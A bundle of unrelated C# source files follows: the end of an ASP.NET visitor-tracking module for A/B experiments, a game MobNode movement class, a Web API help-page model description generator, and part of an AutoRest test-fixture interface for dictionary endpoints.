(HttpContext.Current.Items.Contains(currentVisitorKey)) { HttpContext.Current.Items[currentVisitorKey] = value; } else { HttpContext.Current.Items.Add(currentVisitorKey, value); } } } } #endregion #region Request Handlers protected void InitializeRequest(object sender, EventArgs e) { GetVisitor(HttpContext.Current); } protected void FinalizeRequest(object sender, EventArgs e) { //reconcille user if user is authenticated and we have gotten the details that said they were not authenticated. validateAndLoadVisitor(); if (CurrentVisitor != null) { HttpCookie cookie = new HttpCookie(_config.Web.Cookie.Name, CurrentVisitor.UID.ToString()); if (!string.IsNullOrEmpty(_config.Web.Cookie.Domain)) { cookie.Domain = _config.Web.Cookie.Domain; } cookie.Expires = DateTime.Now.AddDays(_config.Web.Cookie.Expires); HttpContext.Current.Response.Cookies.Add (cookie); } object[] threadParams = new object[2]; threadParams[0] = CurrentVisitor; threadParams[1] = _config.Web.CaptureAllRequests; ThreadPool.QueueUserWorkItem(delegate(object o) { var tParams = o as object[]; var v = tParams[0] as Visitor; var b = (bool) tParams[1]; _visitProvider.SaveChanges(v, b); }, threadParams); } #endregion #region Helper Methods private static string GetConversionScripts(List<Goal> goals) { StringBuilder sb = new StringBuilder(); sb.Append("<script>"); sb.Append(Environment.NewLine); sb.Append("var _gaq = _gaq || [];"); bool hasTrackingScripts = false; foreach (var goal in goals) { if (!string.IsNullOrEmpty(goal.GACode) || !string.IsNullOrEmpty(goal.CustomJS)) { hasTrackingScripts = true; if (!string.IsNullOrEmpty(goal.GACode)) { sb.Append(Environment.NewLine); sb.Append(string.Format(@"_gaq.push(['_trackEvent', '{0}', '{1}','']);", goal.GACode, goal.Name)); } if (!string.IsNullOrEmpty(goal.CustomJS)) { sb.Append(Environment.NewLine); sb.Append(goal.CustomJS); } } } sb.Append("</script>"); if (hasTrackingScripts) { return sb.ToString(); } return string.Empty; } private static Experiment getExperiment(string experimentName) { if (HttpContext.Current.Cache[experimentName] == null) { var experiment = _visitProvider.GetExperiment(experimentName); HttpContext.Current.Cache.Insert(experimentName, experiment, null, DateTime.Now.AddMinutes(_config.Web.CacheDuration), TimeSpan.Zero); } return HttpContext.Current.Cache[experimentName] as Experiment; } private bool userIsInCohort(Visitor visitor, Cohort cohort) { loadCohortPrerequisites(visitor, cohort); if (visitor.Cohorts.FirstOrDefault(a=>a.SystemName == cohort.SystemName) != null) { return true; } if (cohort.IsInCohort(visitor)) { visitor.Request.Cohorts.Add(cohort); visitor.Cohorts.Add(cohort); return true; } return false; } private void validateAndLoadVisitor() { if (CurrentVisitor == null) { CurrentVisitor = GetVisitor(HttpContext.Current); } if (!CurrentVisitor.DetailsLoaded) { //reload Details Visitor saved = null; if (!CurrentVisitor.IsNew) { saved = _visitProvider.GetDetails(CurrentVisitor); if (saved != null && !saved.IsAuthenticated && HttpContext.Current.Request.IsAuthenticated) { //Need to Reconcile User var oldRequest = CurrentVisitor.Request; CurrentVisitor.UserName = HttpContext.Current.User.Identity.Name; CurrentVisitor = _visitProvider.ReconcileUser(CurrentVisitor); CurrentVisitor.Request = oldRequest; CurrentVisitor.DetailsLoaded = true; CurrentVisitor.IsAuthenticated = true; CurrentVisitor.UserName = HttpContext.Current.User.Identity.Name; //Need to save changes to user afterward regardless. CurrentVisitor.IsDirty = true; return; } if (saved == null) { //somehow we had a cookie, but no real visitor record CurrentVisitor.FirstVisit = DateTime.Now; if (HttpContext.Current.Request.IsAuthenticated) { CurrentVisitor.IsAuthenticated = true; CurrentVisitor.UserName = HttpContext.Current.User.Identity.Name; } saved = _visitProvider.AddVisitor(CurrentVisitor); CurrentVisitor.DetailsLoaded = true; } } else { saved = CurrentVisitor; } if (!string.IsNullOrEmpty(saved.UserName) && HttpContext.Current.User != null && saved.UserName != HttpContext.Current.User.Identity.Name) { //Update CurrentVisitor to Saved User. var oldRequest = CurrentVisitor.Request; CurrentVisitor = _visitProvider.GetVisitor(HttpContext.Current.User.Identity.Name); CurrentVisitor.Request = oldRequest; CurrentVisitor.DetailsLoaded = true; return; } CurrentVisitor.Id = saved.Id; CurrentVisitor.IsAuthenticated = saved.IsAuthenticated; CurrentVisitor.UserName = saved.UserName; CurrentVisitor.DetailsLoaded = true; } } private void loadCohortPrerequisites(Visitor visitor, Cohort cohort) { //New Visitors don't have anything else if (!visitor.IsNew) { if (!visitor.CohortsLoaded) { CurrentVisitor = _visitProvider.GetCohorts(visitor); //short circuit if user is in cohort already. if (visitor.Cohorts.FirstOrDefault(a => a.SystemName == cohort.SystemName) != null) { return; } } if (cohort.RequiresAttributes && !visitor.AttributesLoaded) { visitor = _visitProvider.GetAttributes(visitor); visitor.AttributesLoaded = true; } if (cohort.RequiresLandingUrls && !visitor.LandingUrlsLoaded) { visitor = _visitProvider.GetLandingPages(visitor); visitor.LandingUrlsLoaded = true; } if (cohort.RequiresLandingUrls && !string.IsNullOrEmpty(visitor.Request.LandingUrl)) { visitor.LandingUrls.Add(visitor.Request.LandingUrl); } if (cohort.RequiresReferrers && !visitor.ReferrersLoaded) { visitor = _visitProvider.GetReferrers(visitor); visitor.ReferrersLoaded = true; } if (cohort.RequiresReferrers && !string.IsNullOrEmpty(visitor.Request.FilteredReferrer)) { visitor.Referrers.Add(visitor.Request.FilteredReferrer); } } } protected Visitor GetVisitor(HttpContext context) { var request = context.Request; if (CurrentVisitor == null) { if (request.Cookies[_config.Web.Cookie.Name] != null) { CurrentVisitor = new Visitor(new Guid(request.Cookies[_config.Web.Cookie.Name].Value)); } else { if (HttpContext.Current.Request.IsAuthenticated) { //Get Visitor based on UserName CurrentVisitor = _visitProvider.GetVisitor(HttpContext.Current.User.Identity.Name); if (CurrentVisitor != null) { CurrentVisitor.DetailsLoaded = true; } } if (CurrentVisitor == null) { CurrentVisitor = new Visitor(); CurrentVisitor.FirstVisit = DateTime.Now; CurrentVisitor.IsNew = true; if (request.IsAuthenticated) { CurrentVisitor.IsAuthenticated = true; CurrentVisitor.UserName = HttpContext.Current.User.Identity.Name; } } } } else { CurrentVisitor.IsNew = false; } CurrentVisitor.Request.RequestUrl = request.Url.ToString(); CurrentVisitor.Request.ReferrerUrl = request.UrlReferrer != null ? request.UrlReferrer.ToString() : string.Empty; return CurrentVisitor; } #endregion } }
/******************************************************************** The Multiverse Platform is made available under the MIT License. Copyright (c) 2012 The Multiverse Foundation Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *********************************************************************/ #region Using directives using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; using Axiom.Core; using Axiom.MathLib; using Axiom.Animating; using Multiverse.Config; using Multiverse.Network; using Multiverse.CollisionLib; using TimeTool = Multiverse.Utility.TimeTool; #endregion namespace Multiverse.Base { public delegate void DirectionChangeEventHandler(object sender, EventArgs args); /// <summary> /// MobNodes are variants of ObjectNode that are mobile, and have /// interpolated movement. /// </summary> public class MobNode : ObjectNode { protected long lastDirTimestamp = -1; protected Vector3 lastPosition; protected Vector3 lastDirection; protected PathInterpolator pathInterpolator = null; /// <summary> /// True if the system should call FMOD to notify about /// position and velocity updates. Velocity only matters /// for doppler. /// </summary> protected bool positionalSoundEmitter = false; /// <summary> /// Adjust the position gradually if it is less than MaxAdjustment, /// or just set it directly if it is more than MaxAdjustment /// </summary> const float MaxAdjustment = 3 * Client.OneMeter; /// <summary> /// Converge on the destination at one meter per second /// </summary> const float AdjustVelocity = Client.OneMeter; public event DirectionChangeEventHandler DirectionChange; public MobNode(long oid, string name, SceneNode sceneNode, WorldManager worldManager) : base(oid, name, sceneNode, ObjectNodeType.Npc, worldManager) { this.Targetable = true; } /// <summary> /// Update the node /// </summary> /// <param name="timeSinceLastFrame">time since last frame (in seconds)</param> public override void Tick(float timeSinceLastFrame) { long now = TimeTool.CurrentTime; // Set position based on direction vectors. this.Position = ComputePosition(now); base.Tick(timeSinceLastFrame); #if DISABLED if (position != sceneNode.Position) { Vector3 posDelta = position - sceneNode.Position; float adjustDistance = timeSinceLastFrame * AdjustVelocity; if ((posDelta.Length > MaxAdjustment) || (posDelta.Length <= adjustDistance)) // If they are too far away, teleport them there // If they are close enough that we can adjust them there, do that sceneNode.Position = position; else { posDelta.Normalize(); sceneNode.Position += adjustDistance * posDelta; } } #endif } public override void SetDirLoc(long timestamp, Vector3 dir, Vector3 pos) { log.DebugFormat("SetDirLoc: dir for node {0} = {1} timestamp = {2}/{3}", this.Oid, dir, timestamp, TimeTool.CurrentTime); if (timestamp <= lastDirTimestamp) { log.DebugFormat("Ignoring dirloc,since timestamps are too close {0}, {1}", timestamp, lastDirTimestamp); return; } // timestamp is newer. lastDirTimestamp = timestamp; lastPosition = pos; LastDirection = dir; SetLoc(timestamp, pos); } // Provide a way to return to the old behavior in which mobs // are supported by collision volumes. Later, when we have // full mob pathing support, we can turn this off again. public static bool useMoveMobNodeForPathInterpolator = true; /// <summary> /// Compute the current position based on the time and updates. /// </summary> /// <param name="timestamp">local time in ticks (milliseconds)</param> /// <returns></returns> public virtual Vector3 ComputePosition(long timestamp) { long timeDifference = (timestamp - lastLocTimestamp); if (pathInterpolator != null) { PathLocAndDir locAndDir = pathInterpolator.Interpolate(timestamp); log.DebugFormat("MobNode.ComputePosition: oid {0}, followTerrain {1}, pathInterpolator {2}", oid, followTerrain, locAndDir == null ? "null" : locAndDir.ToString()); if (locAndDir != null) { if (locAndDir.LengthLeft != 0f) SetOrientation(Vector3.UnitZ.GetRotationTo(LastDirection.ToNormalized())); LastDirection = locAndDir.Direction; lastDirTimestamp = timestamp; lastLocTimestamp = timestamp; Vector3 loc = locAndDir.Location; // If we don't have full pathing support, use // MoveMobNode so the mob is supported by // collision volumes. if (useMoveMobNodeForPathInterpolator && collider != null && collider.PartCount > 0) { Vector3 diff = loc - Position; diff.y = 0; Vector3 newpos = worldManager.MoveMobNode(this, diff, timeDifference); lastPosition = newpos; return newpos; } else { loc = worldManager.ResolveLocation(this, loc); if (collider != null) { Vector3 diff = loc - lastPosition; collider.AddDisplacement(diff); } lastPosition = loc; return loc; } } else { // This interpolator has expired, so get rid of it pathInterpolator = null; LastDirection = Vector3.Zero; } } else { lastLocTimestamp = timestamp; } Vector3 pos = lastPosition + ((timeDifference / 1000.0f) * LastDirection); Vector3 displacement = pos - Position; // Move the mob node - - given pathing, this should // _only_ happen for mobnodes that are other clients' // players. pos = worldManager.MoveMobNode(this, displacement, timeDifference); lastPosition = pos; return pos; } protected virtual void OnDirectionChange() { DirectionChangeEventHandler handler = DirectionChange; if (handler != null) { handler(this, new EventArgs()); } } #region Properties /// <summary> /// This property is the movement direction vector last sent by the server. It is used to interpolate /// the mob's position. /// /// The Direction property on the Player class represents the direction as set by the player. /// </summary> public Vector3 LastDirection { get { return lastDirection; } set { if (value != lastDirection) { lastDirection = value; OnDirectionChange(); } } } /// <summary> /// This property represents the direction vector that comes from the player, and is used /// to interpolate the position of the player's avatar. /// /// MobNode's LastDirection property is the last direction provided by the server. /// </summary> public virtual Vector3 Direction { get { return LastDirection; } set { lastDirTimestamp = TimeTool.CurrentTime; lastPosition = this.Position; LastDirection = value; } } public PathInterpolator Interpolator { get { return pathInterpolator; } set { pathInterpolator = value; } } public virtual bool PositionalSoundEmitter { get { return positionalSoundEmitter; } set { positionalSoundEmitter = value; } } #endregion } }
using System; using System.Collections; using System.Collections.Generic; using System.Collections.Specialized; using System.ComponentModel.DataAnnotations; using System.Globalization; using System.Reflection; using System.Runtime.Serialization; using System.Web.Http; using System.Web.Http.Description; using System.Xml.Serialization; using Newtonsoft.Json; namespace SimpleBackgroundUploadWebAPI.Areas.HelpPage.ModelDescriptions { /// <summary> /// Generates model descriptions for given types. /// </summary> public class ModelDescriptionGenerator { // Modify this to support more data annotation attributes. private readonly IDictionary<Type, Func<object, string>> AnnotationTextGenerator = new Dictionary<Type, Func<object, string>> { { typeof(RequiredAttribute), a => "Required" }, { typeof(RangeAttribute), a => { RangeAttribute range = (RangeAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Range: inclusive between {0} and {1}", range.Minimum, range.Maximum); } }, { typeof(MaxLengthAttribute), a => { MaxLengthAttribute maxLength = (MaxLengthAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Max length: {0}", maxLength.Length); } }, { typeof(MinLengthAttribute), a => { MinLengthAttribute minLength = (MinLengthAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Min length: {0}", minLength.Length); } }, { typeof(StringLengthAttribute), a => { StringLengthAttribute strLength = (StringLengthAttribute)a; return String.Format(CultureInfo.CurrentCulture, "String length: inclusive between {0} and {1}", strLength.MinimumLength, strLength.MaximumLength); } }, { typeof(DataTypeAttribute), a => { DataTypeAttribute dataType = (DataTypeAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Data type: {0}", dataType.CustomDataType ?? dataType.DataType.ToString()); } }, { typeof(RegularExpressionAttribute), a => { RegularExpressionAttribute regularExpression = (RegularExpressionAttribute)a; return String.Format(CultureInfo.CurrentCulture, "Matching regular expression pattern: {0}", regularExpression.Pattern); } }, }; // Modify this to add more default documentations. private readonly IDictionary<Type, string> DefaultTypeDocumentation = new Dictionary<Type, string> { { typeof(Int16), "integer" }, { typeof(Int32), "integer" }, { typeof(Int64), "integer" }, { typeof(UInt16), "unsigned integer" }, { typeof(UInt32), "unsigned integer" }, { typeof(UInt64), "unsigned integer" }, { typeof(Byte), "byte" }, { typeof(Char), "character" }, { typeof(SByte), "signed byte" }, { typeof(Uri), "URI" }, { typeof(Single), "decimal number" }, { typeof(Double), "decimal number" }, { typeof(Decimal), "decimal number" }, { typeof(String), "string" }, { typeof(Guid), "globally unique identifier" }, { typeof(TimeSpan), "time interval" }, { typeof(DateTime), "date" }, { typeof(DateTimeOffset), "date" }, { typeof(Boolean), "boolean" }, }; private Lazy<IModelDocumentationProvider> _documentationProvider; public ModelDescriptionGenerator(HttpConfiguration config) { if (config == null) { throw new ArgumentNullException("config"); } _documentationProvider = new Lazy<IModelDocumentationProvider>(() => config.Services.GetDocumentationProvider() as IModelDocumentationProvider); GeneratedModels = new Dictionary<string, ModelDescription>(StringComparer.OrdinalIgnoreCase); } public Dictionary<string, ModelDescription> GeneratedModels { get; private set; } private IModelDocumentationProvider DocumentationProvider { get { return _documentationProvider.Value; } } public ModelDescription GetOrCreateModelDescription(Type modelType) { if (modelType == null) { throw new ArgumentNullException("modelType"); } Type underlyingType = Nullable.GetUnderlyingType(modelType); if (underlyingType != null) { modelType = underlyingType; } ModelDescription modelDescription; string modelName = ModelNameHelper.GetModelName(modelType); if (GeneratedModels.TryGetValue(modelName, out modelDescription)) { if (modelType != modelDescription.ModelType) { throw new InvalidOperationException( String.Format( CultureInfo.CurrentCulture, "A model description could not be created. Duplicate model name '{0}' was found for types '{1}' and '{2}'. " + "Use the [ModelName] attribute to change the model name for at least one of the types so that it has a unique name.", modelName, modelDescription.ModelType.FullName, modelType.FullName)); } return modelDescription; } if (DefaultTypeDocumentation.ContainsKey(modelType)) { return GenerateSimpleTypeModelDescription(modelType); } if (modelType.IsEnum) { return GenerateEnumTypeModelDescription(modelType); } if (modelType.IsGenericType) { Type[] genericArguments = modelType.GetGenericArguments(); if (genericArguments.Length == 1) { Type enumerableType = typeof(IEnumerable<>).MakeGenericType(genericArguments); if (enumerableType.IsAssignableFrom(modelType)) { return GenerateCollectionModelDescription(modelType, genericArguments[0]); } } if (genericArguments.Length == 2) { Type dictionaryType = typeof(IDictionary<,>).MakeGenericType(genericArguments); if (dictionaryType.IsAssignableFrom(modelType)) { return GenerateDictionaryModelDescription(modelType, genericArguments[0], genericArguments[1]); } Type keyValuePairType = typeof(KeyValuePair<,>).MakeGenericType(genericArguments); if (keyValuePairType.IsAssignableFrom(modelType)) { return GenerateKeyValuePairModelDescription(modelType, genericArguments[0], genericArguments[1]); } } } if (modelType.IsArray) { Type elementType = modelType.GetElementType(); return GenerateCollectionModelDescription(modelType, elementType); } if (modelType == typeof(NameValueCollection)) { return GenerateDictionaryModelDescription(modelType, typeof(string), typeof(string)); } if (typeof(IDictionary).IsAssignableFrom(modelType)) { return GenerateDictionaryModelDescription(modelType, typeof(object), typeof(object)); } if (typeof(IEnumerable).IsAssignableFrom(modelType)) { return GenerateCollectionModelDescription(modelType, typeof(object)); } return GenerateComplexTypeModelDescription(modelType); } // Change this to provide different name for the member. private static string GetMemberName(MemberInfo member, bool hasDataContractAttribute) { JsonPropertyAttribute jsonProperty = member.GetCustomAttribute<JsonPropertyAttribute>(); if (jsonProperty != null && !String.IsNullOrEmpty(jsonProperty.PropertyName)) { return jsonProperty.PropertyName; } if (hasDataContractAttribute) { DataMemberAttribute dataMember = member.GetCustomAttribute<DataMemberAttribute>(); if (dataMember != null && !String.IsNullOrEmpty(dataMember.Name)) { return dataMember.Name; } } return member.Name; } private static bool ShouldDisplayMember(MemberInfo member, bool hasDataContractAttribute) { JsonIgnoreAttribute jsonIgnore = member.GetCustomAttribute<JsonIgnoreAttribute>(); XmlIgnoreAttribute xmlIgnore = member.GetCustomAttribute<XmlIgnoreAttribute>(); IgnoreDataMemberAttribute ignoreDataMember = member.GetCustomAttribute<IgnoreDataMemberAttribute>(); NonSerializedAttribute nonSerialized = member.GetCustomAttribute<NonSerializedAttribute>(); ApiExplorerSettingsAttribute apiExplorerSetting = member.GetCustomAttribute<ApiExplorerSettingsAttribute>(); bool hasMemberAttribute = member.DeclaringType.IsEnum ? member.GetCustomAttribute<EnumMemberAttribute>() != null : member.GetCustomAttribute<DataMemberAttribute>() != null; // Display member only if all the followings are true: // no JsonIgnoreAttribute // no XmlIgnoreAttribute // no IgnoreDataMemberAttribute // no NonSerializedAttribute // no ApiExplorerSettingsAttribute with IgnoreApi set to true // no DataContractAttribute without DataMemberAttribute or EnumMemberAttribute return jsonIgnore == null && xmlIgnore == null && ignoreDataMember == null && nonSerialized == null && (apiExplorerSetting == null || !apiExplorerSetting.IgnoreApi) && (!hasDataContractAttribute || hasMemberAttribute); } private string CreateDefaultDocumentation(Type type) { string documentation; if (DefaultTypeDocumentation.TryGetValue(type, out documentation)) { return documentation; } if (DocumentationProvider != null) { documentation = DocumentationProvider.GetDocumentation(type); } return documentation; } private void GenerateAnnotations(MemberInfo property, ParameterDescription propertyModel) { List<ParameterAnnotation> annotations = new List<ParameterAnnotation>(); IEnumerable<Attribute> attributes = property.GetCustomAttributes(); foreach (Attribute attribute in attributes) { Func<object, string> textGenerator; if (AnnotationTextGenerator.TryGetValue(attribute.GetType(), out textGenerator)) { annotations.Add( new ParameterAnnotation { AnnotationAttribute = attribute, Documentation = textGenerator(attribute) }); } } // Rearrange the annotations annotations.Sort((x, y) => { // Special-case RequiredAttribute so that it shows up on top if (x.AnnotationAttribute is RequiredAttribute) { return -1; } if (y.AnnotationAttribute is RequiredAttribute) { return 1; } // Sort the rest based on alphabetic order of the documentation return String.Compare(x.Documentation, y.Documentation, StringComparison.OrdinalIgnoreCase); }); foreach (ParameterAnnotation annotation in annotations) { propertyModel.Annotations.Add(annotation); } } private CollectionModelDescription GenerateCollectionModelDescription(Type modelType, Type elementType) { ModelDescription collectionModelDescription = GetOrCreateModelDescription(elementType); if (collectionModelDescription != null) { return new CollectionModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, ElementDescription = collectionModelDescription }; } return null; } private ModelDescription GenerateComplexTypeModelDescription(Type modelType) { ComplexTypeModelDescription complexModelDescription = new ComplexTypeModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, Documentation = CreateDefaultDocumentation(modelType) }; GeneratedModels.Add(complexModelDescription.Name, complexModelDescription); bool hasDataContractAttribute = modelType.GetCustomAttribute<DataContractAttribute>() != null; PropertyInfo[] properties = modelType.GetProperties(BindingFlags.Public | BindingFlags.Instance); foreach (PropertyInfo property in properties) { if (ShouldDisplayMember(property, hasDataContractAttribute)) { ParameterDescription propertyModel = new ParameterDescription { Name = GetMemberName(property, hasDataContractAttribute) }; if (DocumentationProvider != null) { propertyModel.Documentation = DocumentationProvider.GetDocumentation(property); } GenerateAnnotations(property, propertyModel); complexModelDescription.Properties.Add(propertyModel); propertyModel.TypeDescription = GetOrCreateModelDescription(property.PropertyType); } } FieldInfo[] fields = modelType.GetFields(BindingFlags.Public | BindingFlags.Instance); foreach (FieldInfo field in fields) { if (ShouldDisplayMember(field, hasDataContractAttribute)) { ParameterDescription propertyModel = new ParameterDescription { Name = GetMemberName(field, hasDataContractAttribute) }; if (DocumentationProvider != null) { propertyModel.Documentation = DocumentationProvider.GetDocumentation(field); } complexModelDescription.Properties.Add(propertyModel); propertyModel.TypeDescription = GetOrCreateModelDescription(field.FieldType); } } return complexModelDescription; } private DictionaryModelDescription GenerateDictionaryModelDescription(Type modelType, Type keyType, Type valueType) { ModelDescription keyModelDescription = GetOrCreateModelDescription(keyType); ModelDescription valueModelDescription = GetOrCreateModelDescription(valueType); return new DictionaryModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, KeyModelDescription = keyModelDescription, ValueModelDescription = valueModelDescription }; } private EnumTypeModelDescription GenerateEnumTypeModelDescription(Type modelType) { EnumTypeModelDescription enumDescription = new EnumTypeModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, Documentation = CreateDefaultDocumentation(modelType) }; bool hasDataContractAttribute = modelType.GetCustomAttribute<DataContractAttribute>() != null; foreach (FieldInfo field in modelType.GetFields(BindingFlags.Public | BindingFlags.Static)) { if (ShouldDisplayMember(field, hasDataContractAttribute)) { EnumValueDescription enumValue = new EnumValueDescription { Name = field.Name, Value = field.GetRawConstantValue().ToString() }; if (DocumentationProvider != null) { enumValue.Documentation = DocumentationProvider.GetDocumentation(field); } enumDescription.Values.Add(enumValue); } } GeneratedModels.Add(enumDescription.Name, enumDescription); return enumDescription; } private KeyValuePairModelDescription GenerateKeyValuePairModelDescription(Type modelType, Type keyType, Type valueType) { ModelDescription keyModelDescription = GetOrCreateModelDescription(keyType); ModelDescription valueModelDescription = GetOrCreateModelDescription(valueType); return new KeyValuePairModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, KeyModelDescription = keyModelDescription, ValueModelDescription = valueModelDescription }; } private ModelDescription GenerateSimpleTypeModelDescription(Type modelType) { SimpleTypeModelDescription simpleModelDescription = new SimpleTypeModelDescription { Name = ModelNameHelper.GetModelName(modelType), ModelType = modelType, Documentation = CreateDefaultDocumentation(modelType) }; GeneratedModels.Add(simpleModelDescription.Name, simpleModelDescription); return simpleModelDescription; } } }
namespace Fixtures.SwaggerBatBodyDictionary { using System; using System.Collections.Generic; using System.Net.Http; using System.Threading; using System.Threading.Tasks; using Microsoft.Rest; using Models; /// <summary> /// Test Infrastructure for AutoRest Swagger BAT /// </summary> public partial interface IDictionary { /// <summary> /// Get null dictionary value /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, int?>>> GetNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get empty dictionary value {} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, int?>>> GetEmptyWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Set dictionary value empty {} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutEmptyWithHttpMessagesAsync(IDictionary<string, string> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get Dictionary with null value /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, string>>> GetNullValueWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get Dictionary with null key /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, string>>> GetNullKeyWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get Dictionary with key as empty string /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, string>>> GetEmptyStringKeyWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get invalid Dictionary value /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, string>>> GetInvalidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get boolean dictionary value {"0": true, "1": false, "2": false, /// "3": true } /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, bool?>>> GetBooleanTfftWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Set dictionary value empty {"0": true, "1": false, "2": false, /// "3": true } /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutBooleanTfftWithHttpMessagesAsync(IDictionary<string, bool?> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get boolean dictionary value {"0": true, "1": null, "2": false } /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, bool?>>> GetBooleanInvalidNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get boolean dictionary value '{"0": true, "1": "boolean", "2": /// false}' /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, bool?>>> GetBooleanInvalidStringWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get integer dictionary value {"0": 1, "1": -1, "2": 3, "3": 300} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, int?>>> GetIntegerValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Set dictionary value empty {"0": 1, "1": -1, "2": 3, "3": 300} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutIntegerValidWithHttpMessagesAsync(IDictionary<string, int?> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get integer dictionary value {"0": 1, "1": null, "2": 0} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, int?>>> GetIntInvalidNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get integer dictionary value {"0": 1, "1": "integer", "2": 0} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, int?>>> GetIntInvalidStringWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get integer dictionary value {"0": 1, "1": -1, "2": 3, "3": 300} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, long?>>> GetLongValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Set dictionary value empty {"0": 1, "1": -1, "2": 3, "3": 300} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> 